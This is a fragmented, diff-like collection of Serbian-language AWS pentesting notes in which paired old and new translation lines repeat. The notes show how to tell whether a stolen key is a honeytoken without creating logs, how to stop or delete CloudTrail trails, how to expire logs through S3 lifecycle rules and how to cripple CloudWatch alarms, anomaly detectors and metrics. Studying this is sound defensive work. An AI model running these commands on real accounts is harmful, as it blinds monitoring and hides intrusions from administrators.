print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
Proverite više informacija u [**originalnom istraživanju**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
#### Ne generiši log
#### Ne generišite log
Najefikasnija tehnika za ovo je zapravo jednostavna. Samo koristi ključ koji si upravo pronašao da pristupiš nekoj usluzi unutar svog napadačkog naloga. Ovo će **CloudTrail generisati log unutar TVOG AWS naloga, a ne unutar žrtve**.
Najefikasnija tehnika za ovo je zapravo jednostavna. Samo koristite ključ koji ste upravo pronašli da pristupite nekoj usluzi unutar svog naloga napadača. Ovo će **CloudTrail generisati log unutar VAŠEG AWS naloga, a ne unutar žrtve**.
Stvar je u tome da će izlaz prikazati grešku koja ukazuje na ID naloga i ime naloga, tako da **ćeš moći da vidiš da li je to Honeytoken**.
Stvar je u tome da će izlaz prikazati grešku koja ukazuje na ID naloga i ime naloga, tako da **ćete moći da vidite da li je to Honeytoken**.
#### AWS usluge bez logova
U prošlosti je bilo nekih **AWS usluga koje ne šalju logove u CloudTrail** (pronađi [listu ovde](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Neke od tih usluga će **odgovoriti** sa **greškom** koja sadrži **ARN ključne uloge** ako neko neovlašćeno (honeytoken ključ) pokuša da pristupi.
U prošlosti je bilo nekih **AWS usluga koje ne šalju logove u CloudTrail** (pronađite [listu ovde](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Neke od tih usluga će **odgovoriti** sa **greškom** koja sadrži **ARN ključne uloge** ako neko neovlašćeno (honeytoken ključ) pokuša da pristupi.
Na ovaj način, **napadač može dobiti ARN ključa bez aktiviranja bilo kakvog loga**. U ARN-u napadač može videti **AWS ID naloga i ime**, lako je znati ID i imena kompanija HoneyToken-a, tako da na ovaj način napadač može identifikovati da li je token HoneyToken.
![](<../../../../images/image (93).png>)
> [!CAUTION]
> Imajte na umu da su sve javne API-jeve za koje je otkriveno da ne kreiraju CloudTrail logove sada ispravljene, tako da možda treba da pronađeš svoje...
> Imajte na umu da su sve javne API-jeve za koje je otkriveno da ne kreiraju CloudTrail logove sada ispravljene, tako da možda treba da pronađete svoje...
>
> Za više informacija proveri [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
> Za više informacija proverite [**originalno istraživanje**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
### Pristupanje trećoj infrastrukturi
@@ -224,7 +224,7 @@ aws cloudtrail delete-trail --name [trail-name]
```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### Onemogućite logovanje u više regiona
#### Onemogućite višeregionalno logovanje
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
@@ -240,22 +240,22 @@ U prvom primeru, jedan selektor događaja je dat kao JSON niz sa jednim objektom
Možete prilagoditi selektor događaja na osnovu vaših specifičnih zahteva.
#### Brisanje logova putem S3 životnog ciklusa
#### Brisanje logova putem S3 lifecycle politike
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### Modifikovanje konfiguracije kante
- Obriši S3 kantu
- Promeni politiku kante da odbije bilo kakve upise iz CloudTrail servisa
- Dodaj politiku životnog ciklusa S3 kanti da obriše objekte
- Onemogući kms ključ koji se koristi za enkripciju CloudTrail logova
- Obrišite S3 kantu
- Promenite politiku kante da odbije bilo kakve upise iz CloudTrail servisa
- Dodajte politiku životnog ciklusa S3 kanti da obriše objekte
- Onemogućite KMS ključ koji se koristi za enkripciju CloudTrail logova
### Cloudtrail ransomware
#### S3 ransomware
Možeš **generisati asimetrični ključ** i naterati **CloudTrail da enkriptuje podatke** tim ključem i **obrisati privatni ključ** tako da se sadržaj CloudTrail-a ne može povratiti.\
Možete **generisati asimetrični ključ** i naterati **CloudTrail da enkriptuje podatke** tim ključem i **obrisati privatni ključ** tako da se sadržaj CloudTrail-a ne može povratiti.\
Ovo je u suštini **S3-KMS ransomware** objašnjeno u:
{{#ref}}
@@ -264,7 +264,7 @@ Ovo je u suštini **S3-KMS ransomware** objašnjeno u:
**KMS ransomware**
Ovo je najlakši način da se izvede prethodni napad sa različitim zahtevima za dozvole:
Ovo je najlakši način da se izvrši prethodni napad sa različitim zahtevima za dozvole:
{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation.md
@@ -37,9 +37,9 @@ Dimenzije su parovi ključ-vrednost koji su deo metrika. Pomažu da se jedinstve
- **Primer**: Za EC2 instance, dimenzije mogu uključivati InstanceId, InstanceType i AvailabilityZone.
### Statistika
### Statistike
Statistika su matematičke kalkulacije izvršene na podacima metrika kako bi ih sažele tokom vremena. Uobičajene statistike uključuju Prosečno, Zbir, Minimum, Maksimum i Broj uzoraka.
Statistike su matematičke kalkulacije izvršene na podacima metrika kako bi ih sažele tokom vremena. Uobičajene statistike uključuju Prosečno, Zbir, Minimum, Maksimum i Broj uzoraka.
- **Primer**: Izračunavanje prosečne CPU upotrebe tokom perioda od jednog sata.
@@ -55,12 +55,12 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte
**CloudWatch Dashboards** pružaju prilagodljive **poglede na vaše AWS CloudWatch metrike**. Moguće je kreirati i konfigurisati dashboarde za vizualizaciju podataka i nadgledanje resursa u jednom pogledu, kombinujući različite metrike iz raznih AWS usluga.
**Ključne Karakteristike**:
**Ključne karakteristike**:
- **Widgeti**: Građevinski blokovi dashboarda, uključujući grafike, tekst, alarme i još mnogo toga.
- **Prilagođavanje**: Raspored i sadržaj mogu se prilagoditi kako bi odgovarali specifičnim potrebama nadzora.
**Primer Upotrebe**:
**Primer upotrebe**:
- Jedan dashboard koji prikazuje ključne metrike za celo vaše AWS okruženje, uključujući EC2 instance, RDS baze podataka i S3 kante.
@@ -68,9 +68,9 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte
**Metric Streams** u AWS CloudWatch omogućavaju vam da kontinuirano strimujete CloudWatch metrike na odredište po vašem izboru u skoro realnom vremenu. Ovo je posebno korisno za napredni nadzor, analitiku i prilagođene dashboarde koristeći alate van AWS-a.
**Metric Data** unutar Metric Streams se odnosi na stvarna merenja ili podatke koji se strimuju. Ovi podaci predstavljaju različite metrike kao što su CPU upotreba, korišćenje memorije itd., za AWS resurse.
**Metric Data** unutar Metric Streams se odnosi na stvarna merenja ili podatke koji se strimuju. Ovi podaci predstavljaju različite metrike kao što su CPU upotreba, korišćenje memorije, itd., za AWS resurse.
**Primer Upotrebe**:
**Primer upotrebe**:
- Slanje real-time metrika trećoj strani za naprednu analizu.
- Arhiviranje metrika u Amazon S3 kanti za dugoročno skladištenje i usklađenost.
@@ -79,39 +79,39 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte
**CloudWatch Alarms** nadgledaju vaše metrike i preduzimaju akcije na osnovu unapred definisanih pragova. Kada metrika prekorači prag, alarm može izvršiti jednu ili više akcija kao što su slanje obaveštenja putem SNS-a, pokretanje politike automatskog skaliranja ili pokretanje AWS Lambda funkcije.
**Ključne Komponente**:
**Ključne komponente**:
- **Prag**: Vrednost na kojoj se alarm aktivira.
- **Periodi Evaluacije**: Broj perioda tokom kojih se podaci evaluiraju.
- **Podaci za Alarm**: Broj perioda sa dostignutim pragom potreban za aktiviranje alarma.
- **Periodi evaluacije**: Broj perioda tokom kojih se podaci evaluiraju.
- **Podaci za alarm**: Broj perioda sa dostignutim pragom potreban za aktiviranje alarma.
- **Akcije**: Šta se dešava kada se stanje alarma aktivira (npr. obaveštavanje putem SNS-a).
**Primer Upotrebe**:
**Primer upotrebe**:
- Nadgledanje CPU upotrebe EC2 instance i slanje obaveštenja putem SNS-a ako premaši 80% tokom 5 uzastopnih minuta.
- Nadgledanje CPU upotrebe EC2 instance i slanje obaveštenja putem SNS-a ako pređe 80% tokom 5 uzastopnih minuta.
### Detektori Anomalija
### Detektori anomalija
**Detektori Anomalija** koriste mašinsko učenje za automatsko otkrivanje anomalija u vašim metrikama. Možete primeniti detekciju anomalija na bilo koju CloudWatch metriku kako biste identifikovali odstupanja od normalnih obrazaca koja mogu ukazivati na probleme.
**Detektori anomalija** koriste mašinsko učenje za automatsko otkrivanje anomalija u vašim metrikama. Možete primeniti detekciju anomalija na bilo koju CloudWatch metriku kako biste identifikovali odstupanja od normalnih obrazaca koja mogu ukazivati na probleme.
**Ključne Komponente**:
**Ključne komponente**:
- **Obuka Modela**: CloudWatch koristi istorijske podatke za obuku modela i utvrđivanje kako izgleda normalno ponašanje.
- **Opseg Detekcije Anomalija**: Vizuelna reprezentacija očekivanog opsega vrednosti za metriku.
- **Obuka modela**: CloudWatch koristi istorijske podatke za obuku modela i utvrđivanje kako izgleda normalno ponašanje.
- **Opseg detekcije anomalija**: Vizuelna reprezentacija očekivanog opsega vrednosti za metriku.
**Primer Upotrebe**:
**Primer upotrebe**:
- Otkrivanje neobičnih obrazaca CPU upotrebe u EC2 instanci koji mogu ukazivati na bezbednosni proboj ili problem sa aplikacijom.
### Insight Pravila i Upravljana Insight Pravila
### Uvidi i upravljani uvidi
**Insight Pravila** omogućavaju vam da identifikujete trendove, detektujete skokove ili druge obrasce od interesa u vašim podacima metrika koristeći **moćne matematičke izraze** za definisanje uslova pod kojima bi se akcije trebale preduzeti. Ova pravila mogu vam pomoći da identifikujete anomalije ili neobično ponašanje u performansama i korišćenju vaših resursa.
**Uvidi** vam omogućavaju da identifikujete trendove, detektujete skokove ili druge obrasce od interesa u vašim podacima metrika koristeći **moćne matematičke izraze** za definisanje uslova pod kojima bi se trebale preduzeti akcije. Ova pravila mogu vam pomoći da identifikujete anomalije ili neobično ponašanje u performansama i korišćenju vaših resursa.
**Upravljana Insight Pravila** su unapred konfigurisana **insight pravila koja pruža AWS**. Dizajnirana su za nadgledanje specifičnih AWS usluga ili uobičajenih slučajeva korišćenja i mogu se omogućiti bez potrebe za detaljnom konfiguracijom.
**Upravljani uvidi** su unapred konfigurisana **pravila uvida koja pruža AWS**. Dizajnirana su za nadgledanje specifičnih AWS usluga ili uobičajenih slučajeva korišćenja i mogu se omogućiti bez potrebe za detaljnom konfiguracijom.
**Primer Upotrebe**:
**Primer upotrebe**:
- Nadgledanje RDS Performansi: Omogućite upravljano insight pravilo za Amazon RDS koje nadgleda ključne indikatore performansi kao što su CPU upotreba, korišćenje memorije i disk I/O. Ako bilo koja od ovih metrika premaši sigurne operativne pragove, pravilo može aktivirati upozorenje ili automatsku akciju ublažavanja.
- Nadgledanje RDS performansi: Omogućite upravljano pravilo uvida za Amazon RDS koje nadgleda ključne indikatore performansi kao što su CPU upotreba, korišćenje memorije i disk I/O. Ako bilo koja od ovih metrika premaši sigurne operativne pragove, pravilo može aktivirati upozorenje ili automatsku akciju ublažavanja.
### CloudWatch Logovi <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
@@ -122,19 +122,19 @@ Omogućava **agregaciju i nadgledanje logova iz aplikacija** i sistema iz **AWS
| **Log Grupa** | **Kolekcija log stream-ova** koji dele iste postavke zadržavanja, nadzora i kontrole pristupa |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Log Stream** | Sekvenca **log događaja** koji dele **isti izvor** |
| **Filteri Pretplate** | Definišu **filter obrazac koji odgovara događajima** u određenoj log grupi, šalju ih u Kinesis Data Firehose stream, Kinesis stream ili Lambda funkciju |
| **Filteri pretplate** | Definišu **filter obrazac koji se poklapa sa događajima** u određenoj log grupi, šalju ih u Kinesis Data Firehose stream, Kinesis stream, ili Lambda funkciju |
### CloudWatch Nadzor & Događaji
CloudWatch **osnovni** agregira podatke **svakih 5 minuta** (detaljni to radi **svakih 1 minut**). Nakon agregacije, **proverava pragove alarma** u slučaju da treba da aktivira jedan.\
U tom slučaju, CloudWatch može biti spreman da pošalje događaj i izvrši neke automatske akcije (AWS lambda funkcije, SNS teme, SQS redovi, Kinesis Streams)
### Instalacija Agenta
### Instalacija agenta
Možete instalirati agente unutar vaših mašina/kontejnera kako biste automatski slali logove nazad u CloudWatch.
- **Kreirajte** **ulogu** i **prikačite** je na **instancu** sa dozvolama koje omogućavaju CloudWatch-u da prikuplja podatke iz instanci pored interakcije sa AWS sistem menadžerom SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
- **Preuzmite** i **instalirajte** **agenta** na EC2 instancu ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Možete ga preuzeti iznutra EC2 ili ga automatski instalirati koristeći AWS System Manager birajući paket AWS-ConfigureAWSPackage
- **Preuzmite** i **instalirajte** **agenta** na EC2 instancu ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Možete ga preuzeti iz EC2 ili ga automatski instalirati koristeći AWS System Manager birajući paket AWS-ConfigureAWSPackage
- **Konfigurišite** i **pokrenite** CloudWatch Agent
Log grupa ima mnogo stream-ova. Stream ima mnogo događaja. I unutar svakog stream-a, događaji su zagarantovani da budu u redosledu.
@@ -216,7 +216,7 @@ aws events list-event-buses
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
Napadač sa ovim dozvolama mogao bi značajno oslabiti infrastrukturu za praćenje i obaveštavanje organizacije. Brisanjem postojećih alarma, napadač bi mogao onemogućiti ključne obaveštenja koja obaveštavaju administratore o kritičnim problemima sa performansama, bezbednosnim povredama ili operativnim neuspesima. Pored toga, kreiranjem ili modifikovanjem metrik alarmâ, napadač bi takođe mogao da obmanjuje administratore lažnim obaveštenjima ili da utiša legitimne alarme, efikasno prikrivajući zlonamerne aktivnosti i sprečavajući pravovremene odgovore na stvarne incidente.
Napadač sa ovim dozvolama mogao bi značajno oslabiti infrastrukturu za praćenje i obaveštavanje organizacije. Brisanjem postojećih alarma, napadač bi mogao onemogućiti ključne obaveštenja koja obaveštavaju administratore o kritičnim problemima sa performansama, bezbednosnim povredama ili operativnim neuspesima. Pored toga, kreiranjem ili modifikovanjem metrik alarmâ, napadač bi takođe mogao da obmanjuje administratore lažnim obaveštenjima ili utiša legitimne alarme, efikasno prikrivajući zlonamerne aktivnosti i sprečavajući pravovremene reakcije na stvarne incidente.
Pored toga, sa dozvolom **`cloudwatch:PutCompositeAlarm`**, napadač bi mogao da kreira petlju ili ciklus kompozitnih alarma, gde kompozitni alarm A zavisi od kompozitnog alarma B, a kompozitni alarm B takođe zavisi od kompozitnog alarma A. U ovom scenariju, nije moguće obrisati nijedan kompozitni alarm koji je deo ciklusa jer uvek postoji kompozitni alarm koji zavisi od alarma koji želite da obrišete.
```bash
@@ -224,10 +224,10 @@ aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value>
aws cloudwatch delete-alarms --alarm-names <value>
aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--no-actions-enabled | --actions-enabled [--alarm-actions <value>] [--insufficient-data-actions <value>] [--ok-actions <value>] ]
```
Следећи пример показује како учинити метрику аларма неефикасном:
Sledeći primer pokazuje kako učiniti metrik alarm neefikasnim:
- Ова метрика аларма прати просечну CPU употребу одређеног EC2 инстанце, процењује метрику сваког 300 секунди и захтева 6 периода процене (укупно 30 минута). Ако просечна CPU употреба пређе 60% у најмање 4 од ових периода, аларм ће се активирати и послати обавештење на одређену SNS тему.
- Изменом Прагa да буде више од 99%, постављањем Периода на 10 секунди, Периода Процене на 8640 (пошто 8640 периода од 10 секунди једнако је 1 дан), и Датапоинтс на Аларм на 8640, било би неопходно да CPU употреба буде преко 99% сваког 10 секунди током целог 24-часовног периода да би се активирао аларм.
- Ovaj metrik alarm prati prosečnu CPU upotrebu specifične EC2 instance, procenjuje metrik svake 300 sekundi i zahteva 6 evaluacionih perioda (ukupno 30 minuta). Ako prosečna CPU upotreba premaši 60% u najmanje 4 od ovih perioda, alarm će se aktivirati i poslati obaveštenje na određenu SNS temu.
- Modifikovanjem Praga na više od 99%, postavljanjem Perioda na 10 sekundi, Evaluacionih Perioda na 8640 (pošto 8640 perioda od 10 sekundi jednako 1 dan), i Datapoints to Alarm na 8640 takođe, bilo bi potrebno da CPU upotreba bude preko 99% svake 10 sekundi tokom celog 24-satnog perioda da bi se aktivirao alarm.
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -279,21 +279,21 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
{{#endtab }}
{{#endtabs }}
**Potencijalni uticaj**: Nedostatak obaveštenja za kritične događaje, potencijalni neotkriveni problemi, lažne alarme, potiskivanje stvarnih alarma i potencijalno propuštene detekcije stvarnih incidenata.
**Potencijalni uticaj**: Nedostatak obaveštenja za kritične događaje, potencijalni neotkriveni problemi, lažni alarmi, potiskivanje stvarnih alarma i potencijalno propuštene detekcije stvarnih incidenata.
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
Brisanjem akcija alarma, napadač bi mogao sprečiti aktivaciju kritičnih obaveštenja i automatskih odgovora kada se dostigne stanje alarma, kao što je obaveštavanje administratora ili pokretanje automatskih aktivnosti skaliranja. Neprikladno omogućavanje ili ponovo omogućavanje akcija alarma takođe može dovesti do neočekivanih ponašanja, bilo ponovnim aktiviranjem prethodno onemogućenih akcija ili modifikovanjem koje se akcije aktiviraju, potencijalno uzrokujući konfuziju i pogrešne smernice u odgovoru na incidente.
Brisanjem akcija alarma, napadač bi mogao sprečiti kritične obaveštenja i automatske odgovore da budu aktivirani kada se dostigne stanje alarma, kao što je obaveštavanje administratora ili pokretanje aktivnosti automatskog skaliranja. Neprikladno omogućavanje ili ponovo omogućavanje akcija alarma takođe može dovesti do neočekivanih ponašanja, bilo ponovnim aktiviranjem prethodno onemogućenih akcija ili modifikovanjem koje se akcije aktiviraju, potencijalno uzrokujući konfuziju i pogrešne smernice u odgovoru na incidente.
Pored toga, napadač sa dozvolom mogao bi manipulisati stanjima alarma, imajući mogućnost da kreira lažne alarme kako bi odvratio i zbunio administratore, ili da utiša stvarne alarme kako bi sakrio tekuće zle aktivnosti ili kritične kvarove sistema.
Pored toga, napadač sa dozvolom mogao bi manipulisati stanjima alarma, imajući mogućnost da kreira lažne alarme kako bi odvratio i zbunio administratore, ili da utiša stvarne alarme kako bi sakrio tekuće zlonamerne aktivnosti ili kritične sistemske kvarove.
- Ako koristite **`SetAlarmState`** na kompozitnom alarmu, kompozitni alarm nije garantovan da će se vratiti u svoje stvarno stanje. Vraća se u svoje stvarno stanje samo kada se bilo koji od njegovih alarmnih podstanja promeni. Takođe se ponovo procenjuje ako ažurirate njegovu konfiguraciju.
- Ako koristite **`SetAlarmState`** na kompozitnom alarmu, kompozitni alarm nije garantovan da se vrati u svoje stvarno stanje. Vraća se u svoje stvarno stanje samo kada se bilo koji od njegovih pod-alarmova promeni. Takođe se ponovo procenjuje ako ažurirate njegovu konfiguraciju.
```bash
aws cloudwatch disable-alarm-actions --alarm-names <value>
aws cloudwatch enable-alarm-actions --alarm-names <value>
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
```
**Potencijalni Uticaj**: Nedostatak obaveštenja za kritične događaje, potencijalni neotkriveni problemi, lažne alarme, potiskivanje stvarnih alarma i potencijalno propuštene detekcije pravih incidenata.
**Potencijalni uticaj**: Nedostatak obaveštenja za kritične događaje, potencijalni neotkriveni problemi, lažne alarme, potiskivanje stvarnih alarma i potencijalno propuštene detekcije stvarnih incidenata.
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
@@ -302,7 +302,7 @@ Napadač bi mogao da kompromituje sposobnost detekcije i odgovora na neobične o
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
```
Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. Ovaj detektor anomalija metrika prati prosečnu CPU upotrebu specifične EC2 instance, i samo dodavanjem parametra “ExcludedTimeRanges” sa željenim vremenskim opsegom, bilo bi dovoljno da se osigura da detektor anomalija ne analizira ili ne upozorava na bilo koje relevantne podatke tokom tog perioda.
Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. Ovaj detektor anomalija metrika prati prosečnu upotrebu CPU-a specifične EC2 instance, i samo dodavanjem parametra “ExcludedTimeRanges” sa željenim vremenskim opsegom, bilo bi dovoljno da se osigura da detektor anomalija ne analizira niti upozorava na bilo koje relevantne podatke tokom tog perioda.
{{#tabs }}
{{#tab name="Original Metric Anomaly Detector" }}
@@ -323,7 +323,7 @@ Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. O
```
{{#endtab }}
{{#tab name="Modifikovani Detektor Anomalija Metrike" }}
{{#tab name="Modifikovani Metrika Anomalija Detektor" }}
```json
{
"SingleMetricAnomalyDetector": {
@@ -360,11 +360,11 @@ Napadač bi mogao da kompromituje mogućnosti praćenja i vizualizacije organiza
aws cloudwatch delete-dashboards --dashboard-names <value>
aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
```
**Potencijalni Uticaj**: Gubitak vidljivosti nadzorom i obmanjujuće informacije.
**Potencijalni uticaj**: Gubitak vidljivosti nadzorom i obmanjujuće informacije.
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
Insight pravila se koriste za otkrivanje anomalija, optimizaciju performansi i efikasno upravljanje resursima. Brisanjem postojećih insight pravila, napadač bi mogao ukloniti kritične mogućnosti nadzora, ostavljajući sistem slepim na probleme sa performansama i bezbednosne pretnje. Pored toga, napadač bi mogao kreirati ili modifikovati insight pravila kako bi generisao obmanjujuće podatke ili sakrio zlonamerne aktivnosti, što bi dovelo do netačnih dijagnostika i neadekvatnih odgovora operativnog tima.
Insight pravila se koriste za otkrivanje anomalija, optimizaciju performansi i efikasno upravljanje resursima. Brisanjem postojećih insight pravila, napadač bi mogao ukloniti kritične mogućnosti nadzora, ostavljajući sistem slep za probleme sa performansama i bezbednosnim pretnjama. Pored toga, napadač bi mogao kreirati ili modifikovati insight pravila kako bi generisao obmanjujuće podatke ili sakrio zlonamerne aktivnosti, što bi dovelo do netačnih dijagnostika i neadekvatnih odgovora operativnog tima.
```bash
aws cloudwatch delete-insight-rules --rule-names <value>
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
@@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules <value>
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
Onemogućavanjem kritičnih pravila uvida, napadač bi mogao efikasno da zaslepi organizaciju za ključne metrike performansi i bezbednosti. S druge strane, omogućavanjem ili konfigurisanjem obmanjujućih pravila, moglo bi biti moguće generisati lažne podatke, stvoriti šum ili prikriti zlonamerne aktivnosti.
Onemogućavanjem kritičnih pravila uvida, napadač bi mogao efikasno da zaslepi organizaciju za ključne metrike performansi i bezbednosti. S druge strane, omogućavanjem ili konfigurisanje obmanjujućih pravila, moglo bi biti moguće generisati lažne podatke, stvoriti šum ili prikriti zlonamerne aktivnosti.
```bash
aws cloudwatch disable-insight-rules --rule-names <value>
aws cloudwatch enable-insight-rules --rule-names <value>
@@ -399,25 +399,25 @@ Primer dodavanja podataka koji odgovaraju 70% iskorišćenosti CPU-a na datom EC
```bash
aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
```
**Potencijalni Uticaj**: Poremećaj u protoku podataka za praćenje, što utiče na otkrivanje anomalija i incidenata, manipulaciju resursima i povećanje troškova zbog kreiranja prekomernih tokova metrika.
**Potencijalni uticaj**: Poremećaj u protoku podataka o nadzoru, što utiče na otkrivanje anomalija i incidenata, manipulaciju resursima i povećanje troškova zbog kreiranja prekomernih tokova metrika.
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
Napadač bi kontrolisao protok podataka o metrikama koji su pogođeni (svaki tok podataka ako ne postoji ograničenje resursa). Sa dozvolom **`cloudwatch:StopMetricStreams`**, napadači bi mogli da sakriju svoje zlonamerne aktivnosti zaustavljanjem kritičnih tokova metrika.
Napadač bi kontrolisao protok pogođenih tokova podataka o metrikama (svaki tok podataka ako ne postoji ograničenje resursa). Sa dozvolom **`cloudwatch:StopMetricStreams`**, napadači bi mogli da sakriju svoje zlonamerne aktivnosti zaustavljanjem kritičnih tokova metrika.
```bash
aws cloudwatch stop-metric-streams --names <value>
aws cloudwatch start-metric-streams --names <value>
```
**Potencijalni uticaj**: Poremećaj u protoku podataka za praćenje, što utiče na otkrivanje anomalija i incidenata.
**Potencijalni uticaj**: Poremećaj u protoku podataka o nadzoru, što utiče na otkrivanje anomalija i incidenata.
### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
Napadač bi mogao da doda, izmeni ili ukloni oznake sa CloudWatch resursa (trenutno samo alarma i pravila za Contributor Insights). Ovo bi moglo poremetiti politike kontrole pristupa vaše organizacije zasnovane na oznakama.
Napadač bi mogao da doda, izmeni ili ukloni oznake sa CloudWatch resursa (trenutno samo alarma i pravila za Contributor Insights). To bi moglo da poremeti politike kontrole pristupa vaše organizacije zasnovane na oznakama.
```bash
aws cloudwatch tag-resource --resource-arn <value> --tags <value>
aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
```
**Potencijalni Uticaj**: Poremećaj politika pristupa zasnovanih na oznakama.
**Potencijalni uticaj**: Poremećaj politika pristupa zasnovanih na oznakama.
## Reference
@@ -4,17 +4,17 @@
## AWS Config
AWS Config **prikuplja promene resursa**, tako da se svaka promena na resursu koji podržava Config može zabeležiti, što će **zabeležiti šta se promenilo zajedno sa drugim korisnim metapodacima, sve sadržano u datoteci poznatoj kao konfiguracijski element**, CI. Ova usluga je **specifična za region**.
AWS Config **beleži promene resursa**, tako da se svaka promena na resursu koji podržava Config može zabeležiti, što će **zabeležiti šta se promenilo zajedno sa drugim korisnim metapodacima, sve u datoteci poznatoj kao konfiguracijski element**, CI. Ova usluga je **specifična za region**.
Konfiguracijski element ili **CI**, kako se naziva, je ključna komponenta AWS Config-a. Sastoji se od JSON datoteke koja **sadrži informacije o konfiguraciji, informacije o odnosima i druge metapodatke kao trenutni pregled podržanog resursa**. Sve informacije koje AWS Config može zabeležiti za resurs su zabeležene unutar CI. CI se kreira **svaki put** kada se na podržanom resursu izvrši promena u njegovoj konfiguraciji na bilo koji način. Pored zabeležavanja detalja o pogođenom resursu, AWS Config će takođe zabeležiti CIs za sve direktno povezane resurse kako bi se osiguralo da promena nije uticala i na te resurse.
Konfiguracijski element ili **CI**, kako se naziva, je ključna komponenta AWS Config-a. Sastoji se od JSON datoteke koja **sadrži informacije o konfiguraciji, informacije o odnosima i druge metapodatke kao trenutni pregled podržanog resursa**. Sve informacije koje AWS Config može zabeležiti za resurs su zabeležene unutar CI. CI se kreira **svaki put** kada se na podržanom resursu izvrši bilo kakva promena u konfiguraciji. Pored beleženja detalja o pogođenom resursu, AWS Config će takođe zabeležiti CIs za sve direktno povezane resurse kako bi se osiguralo da promena nije uticala i na te resurse.
- **Metapodaci**: Sadrži detalje o samom konfiguracijskom elementu. ID verzije i ID konfiguracije, koji jedinstveno identifikuje CI. Druge informacije mogu uključivati MD5Hash koji vam omogućava da uporedite druge CI već zabeležene protiv istog resursa.
- **Metapodaci**: Sadrži detalje o samom konfiguracijskom elementu. ID verzije i ID konfiguracije, koji jedinstveno identifikuje CI. Druge informacije mogu uključivati MD5Hash koji vam omogućava da uporedite druge CIs već zabeležene za isti resurs.
- **Atributi**: Ovo sadrži zajedničke **informacije o atributima u odnosu na stvarni resurs**. U okviru ovog odeljka, takođe imamo jedinstveni ID resursa i sve ključne oznake koje su povezane sa resursom. Tip resursa je takođe naveden. Na primer, ako je ovo bio CI za EC2 instancu, tipovi resursa koji su navedeni mogli bi biti mrežni interfejs ili elastična IP adresa za tu EC2 instancu.
- **Odnos**: Ovo sadrži informacije o bilo kojem povezanom **odnosu koji resurs može imati**. Dakle, unutar ovog odeljka, prikazivaće jasnu opis bilo kojeg odnosa sa drugim resursima koje je ovaj resurs imao. Na primer, ako je CI bio za EC2 instancu, odeljak o odnosima može prikazati vezu sa VPC-om zajedno sa podmrežom u kojoj se EC2 instanca nalazi.
- **Odnos**: Ovo sadrži informacije o bilo kojem povezanom **odnosu koji resurs može imati**. Tako da bi u ovom odeljku bila prikazana jasna opisna informacija o bilo kojem odnosu sa drugim resursima koje je ovaj resurs imao. Na primer, ako je CI bio za EC2 instancu, odeljak o odnosima može prikazati vezu sa VPC-om zajedno sa podmrežom u kojoj se EC2 instanca nalazi.
